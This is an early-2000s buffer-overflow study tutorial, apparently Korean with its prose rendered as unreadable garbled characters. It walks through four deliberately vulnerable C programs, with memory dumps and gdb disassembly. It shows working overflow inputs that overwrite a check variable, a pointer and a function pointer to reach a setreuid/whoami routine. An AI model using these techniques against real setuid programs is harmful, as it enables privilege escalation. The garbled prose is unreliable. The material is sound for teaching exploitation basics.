Null@Root BOFι濡 ε ѰԴϴ. ******************************************** Null@Root BOF Study write by Anesra , aakkg@dreamwiz.com http://null2root.new21.org date 2001.06.20 ******************************************** Null@Root BOFι Ͽ BOF gdb ؼ ѰԴϴ. ̰ BOF ʺڵ Ѱ ð ƹɷ BOF 信 ؼ ñ ٶϴ. ------------------------------------------------ 1. 1, 2 // BOF ? 2. 3 // ޸ 3. 4 // gdb Ȱ Լּ ã ---------------------------------------------------- 1. 1, 2 // BOF ? BOF Buffer OverFlow ڷ ״ ۸ ġ ؼ ϴ Դϴ. ׷ٸ ۶ ϱ? ޸ ٺ ----------------------------------޸ּ :A ð: ޸ڶ¹ //⼱ Ʒ ڶϴ. ---------------------------------- :B : ޸ڶ¹ ---------------------------------- DATA: ޸ڶ¹ ---------------------------------- Text: ޸ڶ¹ ==================================޸ּ ٽ ð ٸ A B  -----------------------------B ޸ڶ¹ -----------------------------A ̷ ˴ϴ ̶ LIFO(Last In First Out) ó ׸ ó  ÷ ɴϴ. α׷ ѹ ô. Bof1.c #include #include main() { char buf2[20]; //2 20Ʈ char buf[20]; // 20Ʈ fgets(buf,40,stdin); //ǥԷ ۿ 40Ʈ Է if (!strcmp(buf2, "Angel\n")) //buf2 Ʈ Angel̶ڰ ġ { setreuid(999,999); //۹̼ ְ system("whoami"); // Ŵ } } ⼭ ڵ ó ǵȰ Ʒ Դϴ. ----------------------------B buf[20]  ---------------------------- buf2[20] ============================A ̷ ޸ ӿ °Դϴ. ׸ 츮 Է ϸ buf ׷ buf 20Ʈε װ Ѱ Էϸ ? ٷ buf2 ħؼ °Դϴ. B-buf[20]-bu2[20] -A 012345678901234567890 Է ϸ buf[12345678901234567890] - buf2[20] ̷  Դϴ. ׷ ѹ ۸ ڽϴ. ׸ ڵ带 ؼ ޸ մϴ. #include #include #include"dumpcode.h" main() { char buf2[20]; //2 20Ʈ char buf[20]; // 20Ʈ dumpcode((char*)buf,50); //Էϱ ޸ printf("buf2:%x, buf:%x\n", &buf2,&buf); //buf2 buf ޸ ּҸ ˾Ƴϴ. fgets(buf,40,stdin); //ǥԷ ۿ 40Ʈ Է if (!strcmp(buf2, "Angel\n")) //buf2 Ʈ Angel̶ڰ ġ { setreuid(999,999); //۹̼ ְ system("whoami"); // Ŵ } dumpcode((char*)buf,50); //Էϰ ڿ ޸ } ~ ҽ ҽԴϴ. ø dumpcode.h ߰Ǿ dumpcode((char*)buf,50); ߰Ǿϴ. ̰ ޸𸮸 ؼ Ȳ ִ°Դϴ. ڿ 50 󸶸ŭ ¸ ٲ ϴ Ÿϴ. ׷ ѹ غô .! [null2root@Hacker .Anesra]$ gcc bof1.c -o bof1 [null2root@Hacker .Anesra]$ ./bof1 0xbffffc60 88 fc ff bf 70 a9 00 40 5b a5 0f 40 1c 98 04 08 ....p..@[..@.... 0xbffffc70 60 ae 00 40 d4 fc ff bf 88 fc ff bf eb 84 04 08 `..@............ 0xbffffc80 08 98 04 08 1c 98 04 08 a8 fc ff bf cb 29 03 40 .............).@ 0xbffffc90 01 00 .. buf2:bffffc74, buf:bffffc60 //ϸ ⼭ ߰ Է ٸϴ. aaaaaaaaaa //aaaaaaaaa Էϰ ͸ Ĩϴ. 0xbffffc60 61 61 61 61 61 61 61 61 61 61 0a 00 1c 98 04 08 aaaaaaaaaa...... 0xbffffc70 60 ae 00 40 d4 fc ff bf 88 fc ff bf eb 84 04 08 `..@............ 0xbffffc80 08 98 04 08 1c 98 04 08 a8 fc ff bf cb 29 03 40 .............).@ 0xbffffc90 01 00 .. [null2root@Hacker .Anesra]$ ⼭ ø buf2 buf Ȯ 20Ʈ ̳° ֽϴ. buf2:bffffc74 buf:bffffc60 //̰ 16̱ 20Ʈ ̰ ϴ. ׷ buf 20Ʈ ƹų ְ buf2 ٰ Angel̶ Ʈ Էغô. [null2root@Hacker .Anesra]$ ./bof1 0xbffffc60 88 fc ff bf 70 a9 00 40 5b a5 0f 40 1c 98 04 08 ....p..@[..@.... 0xbffffc70 60 ae 00 40 d4 fc ff bf 88 fc ff bf eb 84 04 08 `..@............ 0xbffffc80 08 98 04 08 1c 98 04 08 a8 fc ff bf cb 29 03 40 .............).@ 0xbffffc90 01 00 .. buf2:bffffc74, buf:bffffc60 0123456789abcdef0123Angel //⿡ 20Ʈ buf ְ buf2ٰAngel̶ Ʈ Է null2root //<= ⼭ ڵ忡 system("whoami") Ȱ ֽϴ. 0xbffffc60 30 31 32 33 34 35 36 37 38 39 61 62 63 64 65 66 0123456789abcdef 0xbffffc70 30 31 32 33 41 6e 67 65 6c 0a 00 bf eb 84 04 08 0123Angel....... 0xbffffc80 08 98 04 08 1c 98 04 08 a8 fc ff bf cb 29 03 40 .............).@ 0xbffffc90 01 00 //Ȯϰ buf2 ּҿ Angel̶ Ʈ  ֽϴ. .. [null2root@Hacker .Anesra]$ ----------------------------------------------------------------------------------------- ι° BOF ô. #include #include"dumpcode.h" //dumpcode.h ߰ ޸𸮰 Ǵ»Ȳ Ѵ. main() { int crap; int check; char buf[20]; dumpcode((char*)buf,50); //޸𸮸 50Ʈ ڵؼ Ѵ. Է¹ޱ ޸𸮻 fgets(buf,50,stdin); //ǥԷ 50Ʈ Է¹޴´. if(check==0xdeadbeef) //check 0xdeadbeef ÿ ϰѴ. { setreuid(999,999); system("whoami"); } printf("\ncrap:%x, check:%x, buf:%x\n",&crap,&check,&buf); //checkּҿ buf ּҸ ȮѴ. dumpcode((char*)buf,50); //Է¹ ޸ ¸ ȮѴ. } ̷ Ǹ û Ʒ ׸ ϴ. ----------------------B buf[20] ---------------------- check ---------------------- crap ======================A ׷ѹ غô. [null2root@Hacker .Anesra]$ ./bof2 0xbffffc6c e0 97 04 08 60 ae 00 40 d4 fc ff bf 88 fc ff bf ....`..@........ 0xbffffc7c bb 84 04 08 cc 97 04 08 e0 97 04 08 a8 fc ff bf ................ 0xbffffc8c cb 29 03 40 01 00 00 00 d4 fc ff bf dc fc ff bf .).@............ 0xbffffc9c 68 38 h8 aaaaaaaaaa //Է¹ޱ ޸𸮱 ԷѰ crap:bffffc84, check:bffffc80, buf:bffffc6c // ּ 0xbffffc6c 61 61 61 61 61 61 61 61 61 61 0a 00 88 fc ff bf aaaaaaaaaa...... 0xbffffc7c bb 84 04 08 cc 97 04 08 e0 97 04 08 a8 fc ff bf ................ 0xbffffc8c cb 29 03 40 01 00 00 00 d4 fc ff bf dc fc ff bf .).@............ 0xbffffc9c 68 38 h8 //aaaaaaaaaa Է ޸ [null2root@Hacker .Anesra]$ ⿡ -----------------------B buf[20] 0xbffffc6c ----------------------- check 0xbffffc80 ----------------------- crap 0xbffffc84 =======================A Ȯ ޸ ּ ¸ ϽǼ ց? ׷ٸ check 0xdeadbeef ٲ ϴ ֽϴ. ̶ Էϸ װ ASCIIڵ帣 ٲ Ÿµ( a Էϸ 61̶ ASCII Ÿµ ޸𸮿 ASCIIڵ带 ־ մϴ. 20Ʈ buf check ġ ּ ٰ 0xdaedbeef ־ մϴ. ׸ ־ ٶ 0x deadbeef ڿ 2 © ٷ ־մϴ. de ad be ef ȵǰ ef be ad de ־ մϴ. ޸ ˾ƾϴµ  Ͻôٺ ϽǼ ϴ. ׷   20Ʈ ڿ ef be ad de ִ° ϴ¹ α׷ ؼ ־µ ٷ Էϴ° ˾ƾ մϴ. ׷ ѹ Ʒ ɾ ʽÿ [null2root@Hacker .Anesra]$ (printf "aaaaaaaaaa";cat)|./bof2 0xbffffc6c e0 97 04 08 60 ae 00 40 d4 fc ff bf 88 fc ff bf ....`..@........ 0xbffffc7c bb 84 04 08 cc 97 04 08 e0 97 04 08 a8 fc ff bf ................ 0xbffffc8c cb 29 03 40 01 00 00 00 d4 fc ff bf dc fc ff bf .).@............ 0xbffffc9c 68 38 h8 //Էϱ ޸ crap:bffffc84, check:bffffc80, buf:bffffc6c 0xbffffc6c 61 61 61 61 61 61 61 61 61 61 0a 00 88 fc ff bf aaaaaaaaaa...... 0xbffffc7c bb 84 04 08 cc 97 04 08 e0 97 04 08 a8 fc ff bf ................ 0xbffffc8c cb 29 03 40 01 00 00 00 d4 fc ff bf dc fc ff bf .).@............ 0xbffffc9c 68 38 h8 //ɾ ¿ ٷ Էѵڿ ޸ (printf "aaaaaaaaaa";cat)|./bof2 printf aaaaaaaaaaa Էϰ װ cat |() Է °Դϴ. (printf "aaaaaaaaaa";cat) ./bof2 Է϶ Դϴ. ޸𸮰  ȮҼ ֽϴ. ׸ check buf ּҸ Ȯϰ 20Ʈ ˼ֽϴ. : checkbuf ּҰ Ȯϰ 20Ʈ µ gcc 2.96 ö󰡸鼭 ߰ Ǿϴ. ÷ Ҷ 20Ʈ ƴ϶ 40Ʈ ־ ֽϴ. ¶ ޸ ּҸŭ Էѵڿ check شϴ ּҿ ־ָ ˴ϴ. * : ׷ 0xdeadbeef ־ô. [null2root@Hacker .Anesra]$ (printf "12345678901234567890\xef\xbe\xad\xde";cat) |./bof2 //޸𸮿 \x ̷ ־ մϴ. 0xbffffc6c e0 97 04 08 60 ae 00 40 d4 fc ff bf 88 fc ff bf ....`..@........ 0xbffffc7c bb 84 04 08 cc 97 04 08 e0 97 04 08 a8 fc ff bf ................ 0xbffffc8c cb 29 03 40 01 00 00 00 d4 fc ff bf dc fc ff bf .).@............ 0xbffffc9c 68 38 h8 //Էϱ ޸𸮻 null2root //Ȯϰ ѵڿ system("whoami"); crap:bffffc84, check:bffffc80, buf:bffffc6c 0xbffffc6c 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 1234567890123456 0xbffffc7c 37 38 39 30 ef be ad de 0a 00 04 08 a8 fc ff bf 7890............ 0xbffffc8c cb 29 03 40 01 00 00 00 d4 fc ff bf dc fc ff bf .).@............ 0xbffffc9c 68 38 h8 // ⿡ ø 0xbffffc7c 37 38 39 30 ef be ad de -----------  ˼ֽϴ. [null2root@Hacker .Anesra]$ ----------------------------------------------------------------------------------------- 2. 3 // ޸ ׷ ٸ ڽϴ. [null2root@Hacker .Anesra]$ cat bof3.c #include #include"dumpcode.h" main() { int crap; int *check; char buf[20]; dumpcode((char*)buf,16*5); fgets(buf,16*5,stdin); if(*check==0xdeadbeef) { setuid(999,999); system("whoami"); } printf("\ncrap:%x, *check:%x, buf:%x\n", &crap,&(check),&buf); dumpcode((char*)buf,16*5); } ⼭ ߿Ѱ Ͱ ʹ ּҸ ִٴ° ˾Ƶμž մϴ. ׷ ؼ ѹ ޸𸮻¸ ˾ƺ [null2root@Hacker .Anesra]$ ./bof3 0xbffffc6c d0 97 04 08 60 ae 00 40 d4 fc ff bf 88 fc ff bf ....`..@........ 0xbffffc7c ab 84 04 08 bc 97 04 08 d0 97 04 08 a8 fc ff bf ................ 0xbffffc8c cb 29 03 40 01 00 00 00 d4 fc ff bf dc fc ff bf .).@............ 0xbffffc9c 68 38 01 40 01 00 00 00 10 84 04 08 00 00 00 00 h8.@............ 0xbffffcac 31 84 04 08 a4 86 04 08 01 00 00 00 d4 fc ff bf 1............... aaaaaaaaaaaaa crap:bffffc84, *check:bffffc80, buf:bffffc6c 0xbffffc6c 61 61 61 61 61 61 61 61 61 61 61 61 61 0a 00 bf aaaaaaaaaaaaa... 0xbffffc7c ab 84 04 08 bc 97 04 08 d0 97 04 08 a8 fc ff bf ................ 0xbffffc8c cb 29 03 40 01 00 00 00 d4 fc ff bf dc fc ff bf .).@............ 0xbffffc9c 68 38 01 40 01 00 00 00 10 84 04 08 00 00 00 00 h8.@............ 0xbffffcac 31 84 04 08 a4 86 04 08 01 00 00 00 d4 fc ff bf 1............... [null2root@Hacker .Anesra]$ ⿡ ø check Ű ּҰ bffffc80 ˼ֽϴ. 0xbffffc80 bc 97 04 08 ̺κ ˼ ֽϴ. κ 0xdeadbeef ִ ּҷ ٲ־ մϴ. Ʒ A 16Ŀ deadbeef ޸𸮿 ְ ׸޸𸮹 check Ű ϸ ˴ϴ. [null2root@Hacker .Anesra]$ (printf "AAAAAAAAAAAAAAAA\xef\xbe\xad\xde\x7c\xfc\x ff\xbf";cat)|./bof3 0xbffffc6c d0 97 04 08 60 ae 00 40 d4 fc ff bf 88 fc ff bf ....`..@........ 0xbffffc7c ab 84 04 08 bc 97 04 08 d0 97 04 08 a8 fc ff bf ................ 0xbffffc8c cb 29 03 40 01 00 00 00 d4 fc ff bf dc fc ff bf .).@............ 0xbffffc9c 68 38 01 40 01 00 00 00 10 84 04 08 00 00 00 00 h8.@............ 0xbffffcac 31 84 04 08 a4 86 04 08 01 00 00 00 d4 fc ff bf 1............... null2root crap:bffffc84, *check:bffffc7c, buf:bffffc6c 0xbffffc6c 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0xbffffc7c ef be ad de 7c fc ff bf 0a 00 04 08 a8 fc ff bf ....|........... 0xbffffc8c cb 29 03 40 01 00 00 00 d4 fc ff bf dc fc ff bf .).@............ 0xbffffc9c 68 38 01 40 01 00 00 00 10 84 04 08 00 00 00 00 h8.@............ 0xbffffcac 31 84 04 08 a4 86 04 08 01 00 00 00 d4 fc ff bf 1............... [null2root@Hacker .Anesra]$ ׷ Ȱ ֽϴ. ------------------------------------------------------------------ 3. 4 // gdb Ȱ Լּ ã ̹ gdb ؼ Լ ּҸ ̿ϴ غô. ҽ Ʒ ϴ. ---bof4.c------------------- [null2root@Hacker .Anesra]$ cat bof4.c #include #include"dumpcode.h" void shell() { setreuid(999,999); system("whoami"); printf("congratulations! Success \n"); } void printit() { printf("general program!\n"); } main() { int crap; void (*call)()=printit; char buf[20]; fgets(buf,80,stdin); dumpcode((char*)buf,100); call(); } [null2root@Hacker .Anesra]$ α׷  ܸԾ ѹ غô. [null2root@Hacker .Anesra]$ ./bof4 aaaaaaaaaaaa 0xbffffc6c 61 61 61 61 61 61 61 61 61 61 61 61 0a 00 ff bf aaaaaaaaaaaa.... 0xbffffc7c bb 84 04 08 e8 86 04 08 00 98 04 08 a8 fc ff bf ................ 0xbffffc8c cb 29 03 40 01 00 00 00 d4 fc ff bf dc fc ff bf .).@............ 0xbffffc9c 68 38 01 40 01 00 00 00 20 84 04 08 00 00 00 00 h8.@.... ....... 0xbffffcac 41 84 04 08 fc 86 04 08 01 00 00 00 d4 fc ff bf A............... 0xbffffcbc 54 83 04 08 6c 87 04 08 60 ae 00 40 cc fc ff bf T...l...`..@.... 0xbffffccc 90 3e 01 40 .>.@ general program! //printit()Լ ȣ . [null2root@Hacker .Anesra]$ 츮 shell()Լ ȣϿ մϴ. ο printit()Լ ȣ shell()Լ ȣϰԲ α׷ ǵ մϴ.. 󸶳 ִ Դϴ.츮 α׷ ǵ ִٴ°..^^; ׷ ѹ غô. 켱 Լ ּҸ ˾ƾ մϴ. ⼭ gdb Ͽ Լ ּҸ ˾ƺϴ. gdb ϴ. [null2root@Hacker .Anesra]$ gdb bof4 //gdbϰ α׷ ϴ. GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) ⼭ disassemble main غô. (gdb) disassemble main Dump of assembler code for function main: 0x80486fc
: push %ebp 0x80486fd : mov %esp,%ebp 0x80486ff : sub $0x1c,%esp 0x8048702 : push %ebx 0x8048703 : movl $0x80486e8,0xfffffff8(%ebp) 0x804870a : mov 0x80498d0,%eax 0x804870f : push %eax 0x8048710 : push $0x50 0x8048712 : lea 0xffffffe4(%ebp),%eax 0x8048715 : push %eax 0x8048716 : call 0x80483d4 0x804871b : add $0xc,%esp 0x804871e : push $0x64 0x8048720 : lea 0xffffffe4(%ebp),%eax 0x8048723 : push %eax 0x8048724 : call 0x8048514 0x8048729 : add $0x8,%esp 0x804872c : mov 0xfffffff8(%ebp),%ebx 0x804872f : call *%ebx 0x8048731 : mov 0xffffffe0(%ebp),%ebx 0x8048734 : leave 0x8048735 : ret 0x8048736 : nop ---Type to continue, or q to quit--- ...Ӱ ̵ ׿..ڵ嵵 ̱ ⼭ Ұ printit()Լ ȣϴ κ 0x8048703 : movl $0x80486e8,0xfffffff8(%ebp) ߺ Ư 0x80486e8 ϼ ׷ shell()Լ gdb ô. (gdb) disassemble shell Dump of assembler code for function shell: 0x80486b4 : push %ebp 0x80486b5 : mov %esp,%ebp 0x80486b7 : push $0x3e7 0x80486bc : push $0x3e7 0x80486c1 : call 0x8048404 0x80486c6 : add $0x8,%esp 0x80486c9 : push $0x80487ab 0x80486ce : call 0x80483b4 0x80486d3 : add $0x4,%esp 0x80486d6 : push $0x80487b2 0x80486db : call 0x80483f4 0x80486e0 : add $0x4,%esp 0x80486e3 : leave 0x80486e4 : ret 0x80486e5 : lea 0x0(%esi),%esi End of assembler dump. (gdb) ...⼭ shell()Լ ּҰ 0x80486b4ΰ ֽϴ. ׸ printit()Լ ϰ (gdb) disassemble printit Dump of assembler code for function printit: 0x80486e8 : push %ebp 0x80486e9 : mov %esp,%ebp 0x80486eb : push $0x80487cd 0x80486f0 : call 0x80483f4 0x80486f5 : add $0x4,%esp 0x80486f8 : leave 0x80486f9 : ret 0x80486fa : mov %esi,%esi End of assembler dump. (gdb) ... printit()Լ ּҰ 0x80486e8̳׿ .̰ Լִ ּҿ.ﳪ? ׷ ּ(0x80486e8) shell()Լǽּ (0x80486b4) ٲپָ α׷ ٺ printit()Լ ȣ ʰ shell()Լ ȣϰ? ׷ ѹ ޸ ô~ (gdb) q [null2root@Hacker .Anesra]$ ./bof4 0xbffffc6c 0a 00 04 08 60 ae 00 40 d4 fc ff bf 88 fc ff bf ....`..@........ 0xbffffc7c bb 84 04 08 e8 86 04 08 00 98 04 08 a8 fc ff bf ................ 0xbffffc8c cb 29 03 40 01 00 00 00 d4 fc ff bf dc fc ff bf .).@............ 0xbffffc9c 68 38 01 40 01 00 00 00 20 84 04 08 00 00 00 00 h8.@.... ....... 0xbffffcac 41 84 04 08 fc 86 04 08 01 00 00 00 d4 fc ff bf A............... 0xbffffcbc 54 83 04 08 6c 87 04 08 60 ae 00 40 cc fc ff bf T...l...`..@.... 0xbffffccc 90 3e 01 40 .>.@ general program! [null2root@Hacker .Anesra]$ ⼭ 0xbffffc7c bb 84 04 08 e8 86 04 08 ̺κ ø 0xbffffc80κк e8 86 04 08(=0x80486e8)ΰ ˼ֽϴ. ̺κ b4 86 04 08(=0x80486b4) ٲָ û main()Լ 츮 ǵߴ shell()Լ ȣϰ~ ׷ ѹ غô. [null2root@Hacker .Anesra]$ (printf "12345678901234567890\xb4\x86\x04\x08";cat) |./bof4 0xbffffc6c 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 1234567890123456 0xbffffc7c 37 38 39 30 b4 86 04 08 0a 00 04 08 a8 fc ff bf 7890............ 0xbffffc8c cb 29 03 40 01 00 00 00 d4 fc ff bf dc fc ff bf .).@............ 0xbffffc9c 68 38 01 40 01 00 00 00 20 84 04 08 00 00 00 00 h8.@.... ....... 0xbffffcac 41 84 04 08 fc 86 04 08 01 00 00 00 d4 fc ff bf A............... 0xbffffcbc 54 83 04 08 6c 87 04 08 60 ae 00 40 cc fc ff bf T...l...`..@.... 0xbffffccc 90 3e 01 40 .>.@ null2root congratulations! Success [null2root@Hacker .Anesra]$ ~~~~ 嵮 Լ printit() ȣ ʰ shell()Լ ȣѰ ֽϴ. Լ 帧 ٲ~~ BOF BOFα׷ ׸ gdb ؼ ˾ƺҽϴ. ƹɷ BOF ϼ̱ ٶ ̸ . Ͻñ ٶϴ. *÷ dumpcode.h [null2root@Hacker .Anesra]$ cat dumpcode.h void printchar(unsigned char c) { if(isprint(c)) printf("%c",c); else printf("."); } void dumpcode(unsigned char *buff, int len) { int i; for(i=0;i